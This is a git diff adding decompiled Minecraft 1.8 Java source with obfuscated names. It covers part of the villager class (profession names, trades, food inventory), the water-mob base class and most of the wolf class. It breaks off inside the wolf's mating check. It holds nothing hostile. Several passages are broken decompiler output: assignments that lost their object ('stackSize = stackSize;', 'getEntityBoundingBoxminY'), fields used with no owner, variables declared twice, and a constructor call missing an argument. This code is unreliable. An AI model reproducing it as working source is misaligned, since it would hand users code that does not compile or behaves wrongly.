+  public IChatComponent getDisplayName()
+  {
+    String var1 = getCustomNameTag();
+    
+    if ((var1 != null) && (var1.length() > 0))
+    {
+      return new ChatComponentText(var1);
+    }
+    
+
+    if (buyingList == null)
+    {
+      func_175554_cu();
+    }
+    
+    String var2 = null;
+    
+    switch (getProfession())
+    {
+    case 0: 
+      if (field_175563_bv == 1)
+      {
+        var2 = "farmer";
+      }
+      else if (field_175563_bv == 2)
+      {
+        var2 = "fisherman";
+      }
+      else if (field_175563_bv == 3)
+      {
+        var2 = "shepherd";
+      }
+      else if (field_175563_bv == 4)
+      {
+        var2 = "fletcher";
+      }
+      
+      break;
+    
+    case 1: 
+      var2 = "librarian";
+      break;
+    
+    case 2: 
+      var2 = "cleric";
+      break;
+    
+    case 3: 
+      if (field_175563_bv == 1)
+      {
+        var2 = "armor";
+      }
+      else if (field_175563_bv == 2)
+      {
+        var2 = "weapon";
+      }
+      else if (field_175563_bv == 3)
+      {
+        var2 = "tool";
+      }
+      
+      break;
+    
+    case 4: 
+      if (field_175563_bv == 1)
+      {
+        var2 = "butcher";
+      }
+      else if (field_175563_bv == 2)
+      {
+        var2 = "leather";
+      }
+      break;
+    }
+    if (var2 != null)
+    {
+      ChatComponentTranslation var3 = new ChatComponentTranslation("entity.Villager." + var2, new Object[0]);
+      var3.getChatStyle().setChatHoverEvent(func_174823_aP());
+      var3.getChatStyle().setInsertion(getUniqueID().toString());
+      return var3;
+    }
+    
+
+    return super.getDisplayName();
+  }
+  
+
+
+  public float getEyeHeight()
+  {
+    float var1 = 1.62F;
+    
+    if (isChild())
+    {
+      var1 = (float)(var1 - 0.81D);
+    }
+    
+    return var1;
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 12)
+    {
+      func_180489_a(EnumParticleTypes.HEART);
+    }
+    else if (p_70103_1_ == 13)
+    {
+      func_180489_a(EnumParticleTypes.VILLAGER_ANGRY);
+    }
+    else if (p_70103_1_ == 14)
+    {
+      func_180489_a(EnumParticleTypes.VILLAGER_HAPPY);
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  private void func_180489_a(EnumParticleTypes p_180489_1_)
+  {
+    for (int var2 = 0; var2 < 5; var2++)
+    {
+      double var3 = rand.nextGaussian() * 0.02D;
+      double var5 = rand.nextGaussian() * 0.02D;
+      double var7 = rand.nextGaussian() * 0.02D;
+      worldObj.spawnParticle(p_180489_1_, posX + rand.nextFloat() * width * 2.0F - width, posY + 1.0D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, var3, var5, var7, new int[0]);
+    }
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    p_180482_2_ = super.func_180482_a(p_180482_1_, p_180482_2_);
+    setProfession(worldObj.rand.nextInt(5));
+    func_175552_ct();
+    return p_180482_2_;
+  }
+  
+  public void setLookingForHome()
+  {
+    isLookingForHome = true;
+  }
+  
+  public EntityVillager func_180488_b(EntityAgeable p_180488_1_)
+  {
+    EntityVillager var2 = new EntityVillager(worldObj);
+    var2.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var2)), null);
+    return var2;
+  }
+  
+  public boolean allowLeashing()
+  {
+    return false;
+  }
+  
+
+
+
+  public void onStruckByLightning(EntityLightningBolt lightningBolt)
+  {
+    if (!worldObj.isRemote)
+    {
+      EntityWitch var2 = new EntityWitch(worldObj);
+      var2.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+      var2.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var2)), null);
+      worldObj.spawnEntityInWorld(var2);
+      setDead();
+    }
+  }
+  
+  public InventoryBasic func_175551_co()
+  {
+    return field_175560_bz;
+  }
+  
+  protected void func_175445_a(EntityItem p_175445_1_)
+  {
+    ItemStack var2 = p_175445_1_.getEntityItem();
+    Item var3 = var2.getItem();
+    
+    if (func_175558_a(var3))
+    {
+      ItemStack var4 = field_175560_bz.func_174894_a(var2);
+      
+      if (var4 == null)
+      {
+        p_175445_1_.setDead();
+      }
+      else
+      {
+        stackSize = stackSize;
+      }
+    }
+  }
+  
+  private boolean func_175558_a(Item p_175558_1_)
+  {
+    return (p_175558_1_ == Items.bread) || (p_175558_1_ == Items.potato) || (p_175558_1_ == Items.carrot) || (p_175558_1_ == Items.wheat) || (p_175558_1_ == Items.wheat_seeds);
+  }
+  
+  public boolean func_175553_cp()
+  {
+    return func_175559_s(1);
+  }
+  
+  public boolean func_175555_cq()
+  {
+    return func_175559_s(2);
+  }
+  
+  public boolean func_175557_cr()
+  {
+    boolean var1 = getProfession() == 0;
+    return !func_175559_s(5);
+  }
+  
+  private boolean func_175559_s(int p_175559_1_)
+  {
+    boolean var2 = getProfession() == 0;
+    
+    for (int var3 = 0; var3 < field_175560_bz.getSizeInventory(); var3++)
+    {
+      ItemStack var4 = field_175560_bz.getStackInSlot(var3);
+      
+      if (var4 != null)
+      {
+        if (((var4.getItem() == Items.bread) && (stackSize >= 3 * p_175559_1_)) || ((var4.getItem() == Items.potato) && (stackSize >= 12 * p_175559_1_)) || ((var4.getItem() == Items.carrot) && (stackSize >= 12 * p_175559_1_)))
+        {
+          return true;
+        }
+        
+        if ((var2) && (var4.getItem() == Items.wheat) && (stackSize >= 9 * p_175559_1_))
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean func_175556_cs()
+  {
+    for (int var1 = 0; var1 < field_175560_bz.getSizeInventory(); var1++)
+    {
+      ItemStack var2 = field_175560_bz.getStackInSlot(var1);
+      
+      if ((var2 != null) && ((var2.getItem() == Items.wheat_seeds) || (var2.getItem() == Items.potato) || (var2.getItem() == Items.carrot)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    if (super.func_174820_d(p_174820_1_, p_174820_2_))
+    {
+      return true;
+    }
+    
+
+    int var3 = p_174820_1_ - 300;
+    
+    if ((var3 >= 0) && (var3 < field_175560_bz.getSizeInventory()))
+    {
+      field_175560_bz.setInventorySlotContents(var3, p_174820_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    return func_180488_b(p_90011_1_);
+  }
+  
+  static class EmeraldForItems implements EntityVillager.ITradeList
+  {
+    public Item field_179405_a;
+    public EntityVillager.PriceInfo field_179404_b;
+    private static final String __OBFID = "CL_00002194";
+    
+    public EmeraldForItems(Item p_i45815_1_, EntityVillager.PriceInfo p_i45815_2_)
+    {
+      field_179405_a = p_i45815_1_;
+      field_179404_b = p_i45815_2_;
+    }
+    
+    public void func_179401_a(MerchantRecipeList p_179401_1_, Random p_179401_2_)
+    {
+      int var3 = 1;
+      
+      if (field_179404_b != null)
+      {
+        var3 = field_179404_b.func_179412_a(p_179401_2_);
+      }
+      
+      p_179401_1_.add(new MerchantRecipe(new ItemStack(field_179405_a, var3, 0), Items.emerald));
+    }
+  }
+  
+  static abstract interface ITradeList
+  {
+    public abstract void func_179401_a(MerchantRecipeList paramMerchantRecipeList, Random paramRandom);
+  }
+  
+  static class ItemAndEmeraldToItem implements EntityVillager.ITradeList
+  {
+    public ItemStack field_179411_a;
+    public EntityVillager.PriceInfo field_179409_b;
+    public ItemStack field_179410_c;
+    public EntityVillager.PriceInfo field_179408_d;
+    private static final String __OBFID = "CL_00002191";
+    
+    public ItemAndEmeraldToItem(Item p_i45813_1_, EntityVillager.PriceInfo p_i45813_2_, Item p_i45813_3_, EntityVillager.PriceInfo p_i45813_4_)
+    {
+      field_179411_a = new ItemStack(p_i45813_1_);
+      field_179409_b = p_i45813_2_;
+      field_179410_c = new ItemStack(p_i45813_3_);
+      field_179408_d = p_i45813_4_;
+    }
+    
+    public void func_179401_a(MerchantRecipeList p_179401_1_, Random p_179401_2_)
+    {
+      int var3 = 1;
+      
+      if (field_179409_b != null)
+      {
+        var3 = field_179409_b.func_179412_a(p_179401_2_);
+      }
+      
+      int var4 = 1;
+      
+      if (field_179408_d != null)
+      {
+        var4 = field_179408_d.func_179412_a(p_179401_2_);
+      }
+      
+      p_179401_1_.add(new MerchantRecipe(new ItemStack(field_179411_a.getItem(), var3, field_179411_a.getMetadata()), new ItemStack(Items.emerald), new ItemStack(field_179410_c.getItem(), var4, field_179410_c.getMetadata())));
+    }
+  }
+  
+  static class ListEnchantedBookForEmeralds implements EntityVillager.ITradeList {
+    private static final String __OBFID = "CL_00002193";
+    
+    ListEnchantedBookForEmeralds() {}
+    
+    public void func_179401_a(MerchantRecipeList p_179401_1_, Random p_179401_2_) {
+      Enchantment var3 = Enchantment.enchantmentsList[p_179401_2_.nextInt(Enchantment.enchantmentsList.length)];
+      int var4 = MathHelper.getRandomIntegerInRange(p_179401_2_, var3.getMinLevel(), var3.getMaxLevel());
+      ItemStack var5 = Items.enchanted_book.getEnchantedItemStack(new EnchantmentData(var3, var4));
+      int var6 = 2 + p_179401_2_.nextInt(5 + var4 * 10) + 3 * var4;
+      
+      if (var6 > 64)
+      {
+        var6 = 64;
+      }
+      
+      p_179401_1_.add(new MerchantRecipe(new ItemStack(Items.book), new ItemStack(Items.emerald, var6), var5));
+    }
+  }
+  
+  static class ListEnchantedItemForEmeralds implements EntityVillager.ITradeList
+  {
+    public ItemStack field_179407_a;
+    public EntityVillager.PriceInfo field_179406_b;
+    private static final String __OBFID = "CL_00002192";
+    
+    public ListEnchantedItemForEmeralds(Item p_i45814_1_, EntityVillager.PriceInfo p_i45814_2_)
+    {
+      field_179407_a = new ItemStack(p_i45814_1_);
+      field_179406_b = p_i45814_2_;
+    }
+    
+    public void func_179401_a(MerchantRecipeList p_179401_1_, Random p_179401_2_)
+    {
+      int var3 = 1;
+      
+      if (field_179406_b != null)
+      {
+        var3 = field_179406_b.func_179412_a(p_179401_2_);
+      }
+      
+      ItemStack var4 = new ItemStack(Items.emerald, var3, 0);
+      ItemStack var5 = new ItemStack(field_179407_a.getItem(), 1, field_179407_a.getMetadata());
+      var5 = EnchantmentHelper.addRandomEnchantment(p_179401_2_, var5, 5 + p_179401_2_.nextInt(15));
+      p_179401_1_.add(new MerchantRecipe(var4, var5));
+    }
+  }
+  
+  static class ListItemForEmeralds implements EntityVillager.ITradeList
+  {
+    public ItemStack field_179403_a;
+    public EntityVillager.PriceInfo field_179402_b;
+    private static final String __OBFID = "CL_00002190";
+    
+    public ListItemForEmeralds(Item p_i45811_1_, EntityVillager.PriceInfo p_i45811_2_)
+    {
+      field_179403_a = new ItemStack(p_i45811_1_);
+      field_179402_b = p_i45811_2_;
+    }
+    
+    public ListItemForEmeralds(ItemStack p_i45812_1_, EntityVillager.PriceInfo p_i45812_2_)
+    {
+      field_179403_a = p_i45812_1_;
+      field_179402_b = p_i45812_2_;
+    }
+    
+    public void func_179401_a(MerchantRecipeList p_179401_1_, Random p_179401_2_)
+    {
+      int var3 = 1;
+      
+      if (field_179402_b != null)
+      {
+        var3 = field_179402_b.func_179412_a(p_179401_2_);
+      }
+      
+      ItemStack var5;
+      ItemStack var4;
+      ItemStack var5;
+      if (var3 < 0)
+      {
+        ItemStack var4 = new ItemStack(Items.emerald, 1, 0);
+        var5 = new ItemStack(field_179403_a.getItem(), -var3, field_179403_a.getMetadata());
+      }
+      else
+      {
+        var4 = new ItemStack(Items.emerald, var3, 0);
+        var5 = new ItemStack(field_179403_a.getItem(), 1, field_179403_a.getMetadata());
+      }
+      
+      p_179401_1_.add(new MerchantRecipe(var4, var5));
+    }
+  }
+  
+  static class PriceInfo extends Tuple
+  {
+    private static final String __OBFID = "CL_00002189";
+    
+    public PriceInfo(int p_i45810_1_, int p_i45810_2_)
+    {
+      super(Integer.valueOf(p_i45810_2_));
+    }
+    
+    public int func_179412_a(Random p_179412_1_)
+    {
+      return ((Integer)getFirst()).intValue() >= ((Integer)getSecond()).intValue() ? ((Integer)getFirst()).intValue() : ((Integer)getFirst()).intValue() + p_179412_1_.nextInt(((Integer)getSecond()).intValue() - ((Integer)getFirst()).intValue() + 1);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityWaterMob.java b/src/minecraft/net/minecraft/entity/passive/EntityWaterMob.java
new file mode 100644
index 0000000..dd04522
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityWaterMob.java
@@ -0,0 +1,91 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.world.World;
+
+public abstract class EntityWaterMob extends EntityLiving implements IAnimals
+{
+  private static final String __OBFID = "CL_00001653";
+  
+  public EntityWaterMob(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public boolean canBreatheUnderwater()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    return worldObj.checkNoEntityCollision(getEntityBoundingBox(), this);
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 120;
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return true;
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    return 1 + worldObj.rand.nextInt(3);
+  }
+  
+
+
+
+  public void onEntityUpdate()
+  {
+    int var1 = getAir();
+    super.onEntityUpdate();
+    
+    if ((isEntityAlive()) && (!isInWater()))
+    {
+      var1--;
+      setAir(var1);
+      
+      if (getAir() == -20)
+      {
+        setAir(0);
+        attackEntityFrom(net.minecraft.util.DamageSource.drown, 2.0F);
+      }
+    }
+    else
+    {
+      setAir(300);
+    }
+  }
+  
+  public boolean isPushedByWater()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityWolf.java b/src/minecraft/net/minecraft/entity/passive/EntityWolf.java
new file mode 100644
index 0000000..65a55ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityWolf.java
@@ -0,0 +1,645 @@
+package net.minecraft.entity.passive;
+
+import com.google.common.base.Predicate;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIBeg;
+import net.minecraft.entity.ai.EntityAIFollowOwner;
+import net.minecraft.entity.ai.EntityAIHurtByTarget;
+import net.minecraft.entity.ai.EntityAILeapAtTarget;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAIOwnerHurtByTarget;
+import net.minecraft.entity.ai.EntityAIOwnerHurtTarget;
+import net.minecraft.entity.ai.EntityAISit;
+import net.minecraft.entity.ai.EntityAITargetNonTamed;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemFood;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityWolf extends EntityTameable
+{
+  private float headRotationCourse;
+  private float headRotationCourseOld;
+  private boolean isWet;
+  private boolean isShaking;
+  private float timeWolfIsShaking;
+  private float prevTimeWolfIsShaking;
+  private static final String __OBFID = "CL_00001654";
+  
+  public EntityWolf(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.6F, 0.8F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, aiSit);
+    tasks.addTask(3, new EntityAILeapAtTarget(this, 0.4F));
+    tasks.addTask(4, new EntityAIAttackOnCollide(this, 1.0D, true));
+    tasks.addTask(5, new EntityAIFollowOwner(this, 1.0D, 10.0F, 2.0F));
+    tasks.addTask(6, new EntityAIMate(this, 1.0D));
+    tasks.addTask(7, new EntityAIWander(this, 1.0D));
+    tasks.addTask(8, new EntityAIBeg(this, 8.0F));
+    tasks.addTask(9, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(9, new EntityAILookIdle(this));
+    targetTasks.addTask(1, new EntityAIOwnerHurtByTarget(this));
+    targetTasks.addTask(2, new EntityAIOwnerHurtTarget(this));
+    targetTasks.addTask(3, new EntityAIHurtByTarget(this, true, new Class[0]));
+    targetTasks.addTask(4, new EntityAITargetNonTamed(this, EntityAnimal.class, false, new Predicate()
+    {
+      private static final String __OBFID = "CL_00002229";
+      
+      public boolean func_180094_a(Entity p_180094_1_) {
+        return ((p_180094_1_ instanceof EntitySheep)) || ((p_180094_1_ instanceof EntityRabbit));
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_180094_a((Entity)p_apply_1_);
+      }
+    }));
+    targetTasks.addTask(5, new EntityAINearestAttackableTarget(this, net.minecraft.entity.monster.EntitySkeleton.class, false));
+    setTamed(false);
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+    
+    if (isTamed())
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(20.0D);
+    }
+    else
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(8.0D);
+    }
+    
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.attackDamage);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(2.0D);
+  }
+  
+
+
+
+  public void setAttackTarget(EntityLivingBase p_70624_1_)
+  {
+    super.setAttackTarget(p_70624_1_);
+    
+    if (p_70624_1_ == null)
+    {
+      setAngry(false);
+    }
+    else if (!isTamed())
+    {
+      setAngry(true);
+    }
+  }
+  
+  protected void updateAITasks()
+  {
+    dataWatcher.updateObject(18, Float.valueOf(getHealth()));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(18, new Float(getHealth()));
+    dataWatcher.addObject(19, new Byte((byte)0));
+    dataWatcher.addObject(20, new Byte((byte)EnumDyeColor.RED.func_176765_a()));
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.wolf.step", 0.15F, 1.0F);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("Angry", isAngry());
+    tagCompound.setByte("CollarColor", (byte)func_175546_cu().getDyeColorDamage());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setAngry(tagCompund.getBoolean("Angry"));
+    
+    if (tagCompund.hasKey("CollarColor", 99))
+    {
+      func_175547_a(EnumDyeColor.func_176766_a(tagCompund.getByte("CollarColor")));
+    }
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return rand.nextInt(3) == 0 ? "mob.wolf.panting" : (isTamed()) && (dataWatcher.getWatchableObjectFloat(18) < 10.0F) ? "mob.wolf.whine" : isAngry() ? "mob.wolf.growl" : "mob.wolf.bark";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.wolf.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.wolf.death";
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.4F;
+  }
+  
+  protected Item getDropItem()
+  {
+    return Item.getItemById(-1);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if ((!worldObj.isRemote) && (isWet) && (!isShaking) && (!hasPath()) && (onGround))
+    {
+      isShaking = true;
+      timeWolfIsShaking = 0.0F;
+      prevTimeWolfIsShaking = 0.0F;
+      worldObj.setEntityState(this, (byte)8);
+    }
+    
+    if ((!worldObj.isRemote) && (getAttackTarget() == null) && (isAngry()))
+    {
+      setAngry(false);
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    headRotationCourseOld = headRotationCourse;
+    
+    if (func_70922_bv())
+    {
+      headRotationCourse += (1.0F - headRotationCourse) * 0.4F;
+    }
+    else
+    {
+      headRotationCourse += (0.0F - headRotationCourse) * 0.4F;
+    }
+    
+    if (isWet())
+    {
+      isWet = true;
+      isShaking = false;
+      timeWolfIsShaking = 0.0F;
+      prevTimeWolfIsShaking = 0.0F;
+    }
+    else if (((isWet) || (isShaking)) && (isShaking))
+    {
+      if (timeWolfIsShaking == 0.0F)
+      {
+        playSound("mob.wolf.shake", getSoundVolume(), (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      }
+      
+      prevTimeWolfIsShaking = timeWolfIsShaking;
+      timeWolfIsShaking += 0.05F;
+      
+      if (prevTimeWolfIsShaking >= 2.0F)
+      {
+        isWet = false;
+        isShaking = false;
+        prevTimeWolfIsShaking = 0.0F;
+        timeWolfIsShaking = 0.0F;
+      }
+      
+      if (timeWolfIsShaking > 0.4F)
+      {
+        float var1 = (float)getEntityBoundingBoxminY;
+        int var2 = (int)(MathHelper.sin((timeWolfIsShaking - 0.4F) * 3.1415927F) * 7.0F);
+        
+        for (int var3 = 0; var3 < var2; var3++)
+        {
+          float var4 = (rand.nextFloat() * 2.0F - 1.0F) * width * 0.5F;
+          float var5 = (rand.nextFloat() * 2.0F - 1.0F) * width * 0.5F;
+          worldObj.spawnParticle(EnumParticleTypes.WATER_SPLASH, posX + var4, var1 + 0.8F, posZ + var5, motionX, motionY, motionZ, new int[0]);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean isWolfWet()
+  {
+    return isWet;
+  }
+  
+
+
+
+  public float getShadingWhileWet(float p_70915_1_)
+  {
+    return 0.75F + (prevTimeWolfIsShaking + (timeWolfIsShaking - prevTimeWolfIsShaking) * p_70915_1_) / 2.0F * 0.25F;
+  }
+  
+  public float getShakeAngle(float p_70923_1_, float p_70923_2_)
+  {
+    float var3 = (prevTimeWolfIsShaking + (timeWolfIsShaking - prevTimeWolfIsShaking) * p_70923_1_ + p_70923_2_) / 1.8F;
+    
+    if (var3 < 0.0F)
+    {
+      var3 = 0.0F;
+    }
+    else if (var3 > 1.0F)
+    {
+      var3 = 1.0F;
+    }
+    
+    return MathHelper.sin(var3 * 3.1415927F) * MathHelper.sin(var3 * 3.1415927F * 11.0F) * 0.15F * 3.1415927F;
+  }
+  
+  public float getInterestedAngle(float p_70917_1_)
+  {
+    return (headRotationCourseOld + (headRotationCourse - headRotationCourseOld) * p_70917_1_) * 0.15F * 3.1415927F;
+  }
+  
+  public float getEyeHeight()
+  {
+    return height * 0.8F;
+  }
+  
+
+
+
+
+  public int getVerticalFaceSpeed()
+  {
+    return isSitting() ? 20 : super.getVerticalFaceSpeed();
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    Entity var3 = source.getEntity();
+    aiSit.setSitting(false);
+    
+    if ((var3 != null) && (!(var3 instanceof EntityPlayer)) && (!(var3 instanceof EntityArrow)))
+    {
+      amount = (amount + 1.0F) / 2.0F;
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    boolean var2 = p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), (int)getEntityAttribute(SharedMonsterAttributes.attackDamage).getAttributeValue());
+    
+    if (var2)
+    {
+      func_174815_a(this, p_70652_1_);
+    }
+    
+    return var2;
+  }
+  
+  public void setTamed(boolean p_70903_1_)
+  {
+    super.setTamed(p_70903_1_);
+    
+    if (p_70903_1_)
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(20.0D);
+    }
+    else
+    {
+      getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(8.0D);
+    }
+    
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(4.0D);
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if (isTamed())
+    {
+      if (var2 != null)
+      {
+        if ((var2.getItem() instanceof ItemFood))
+        {
+          ItemFood var3 = (ItemFood)var2.getItem();
+          
+          if ((var3.isWolfsFavoriteMeat()) && (dataWatcher.getWatchableObjectFloat(18) < 20.0F))
+          {
+            if (!capabilities.isCreativeMode)
+            {
+              stackSize -= 1;
+            }
+            
+            heal(var3.getHealAmount(var2));
+            
+            if (stackSize <= 0)
+            {
+              inventory.setInventorySlotContents(inventory.currentItem, null);
+            }
+            
+            return true;
+          }
+        }
+        else if (var2.getItem() == Items.dye)
+        {
+          EnumDyeColor var4 = EnumDyeColor.func_176766_a(var2.getMetadata());
+          
+          if (var4 != func_175546_cu())
+          {
+            func_175547_a(var4);
+            
+            if (!capabilities.isCreativeMode) { if (--stackSize <= 0)
+              {
+                inventory.setInventorySlotContents(inventory.currentItem, null);
+              }
+            }
+            return true;
+          }
+        }
+      }
+      
+      if ((func_152114_e(p_70085_1_)) && (!worldObj.isRemote) && (!isBreedingItem(var2)))
+      {
+        aiSit.setSitting(!isSitting());
+        isJumping = false;
+        navigator.clearPathEntity();
+        setAttackTarget(null);
+      }
+    }
+    else if ((var2 != null) && (var2.getItem() == Items.bone) && (!isAngry()))
+    {
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      if (stackSize <= 0)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, null);
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        if (rand.nextInt(3) == 0)
+        {
+          setTamed(true);
+          navigator.clearPathEntity();
+          setAttackTarget(null);
+          aiSit.setSitting(true);
+          setHealth(20.0F);
+          func_152115_b(p_70085_1_.getUniqueID().toString());
+          playTameEffect(true);
+          worldObj.setEntityState(this, (byte)7);
+        }
+        else
+        {
+          playTameEffect(false);
+          worldObj.setEntityState(this, (byte)6);
+        }
+      }
+      
+      return true;
+    }
+    
+    return super.interact(p_70085_1_);
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 8)
+    {
+      isShaking = true;
+      timeWolfIsShaking = 0.0F;
+      prevTimeWolfIsShaking = 0.0F;
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+  public float getTailRotation()
+  {
+    return isTamed() ? (0.55F - (20.0F - dataWatcher.getWatchableObjectFloat(18)) * 0.02F) * 3.1415927F : isAngry() ? 1.5393804F : 0.62831855F;
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return !(p_70877_1_.getItem() instanceof ItemFood) ? false : p_70877_1_ == null ? false : ((ItemFood)p_70877_1_.getItem()).isWolfsFavoriteMeat();
+  }
+  
+
+
+
+  public int getMaxSpawnedInChunk()
+  {
+    return 8;
+  }
+  
+
+
+
+  public boolean isAngry()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x2) != 0;
+  }
+  
+
+
+
+  public void setAngry(boolean p_70916_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70916_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x2)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFD)));
+    }
+  }
+  
+  public EnumDyeColor func_175546_cu()
+  {
+    return EnumDyeColor.func_176766_a(dataWatcher.getWatchableObjectByte(20) & 0xF);
+  }
+  
+  public void func_175547_a(EnumDyeColor p_175547_1_)
+  {
+    dataWatcher.updateObject(20, Byte.valueOf((byte)(p_175547_1_.getDyeColorDamage() & 0xF)));
+  }
+  
+  public EntityWolf createChild(EntityAgeable p_90011_1_)
+  {
+    EntityWolf var2 = new EntityWolf(worldObj);
+    String var3 = func_152113_b();
+    
+    if ((var3 != null) && (var3.trim().length() > 0))
+    {
+      var2.func_152115_b(var3);
+      var2.setTamed(true);
+    }
+    
+    return var2;
+  }
+  
+  public void func_70918_i(boolean p_70918_1_)
+  {
+    if (p_70918_1_)
+    {
+      dataWatcher.updateObject(19, Byte.valueOf((byte)1));
+    }
+    else
+    {
+      dataWatcher.updateObject(19, Byte.valueOf((byte)0));
+    }
+  }
+  
+
+
+
+  public boolean canMateWith(EntityAnimal p_70878_1_)
+  {
+    if (p_70878_1_ == this)
+    {
+      return false;
+    }
+    if (!isTamed())
+    {
+      return false;
+    }
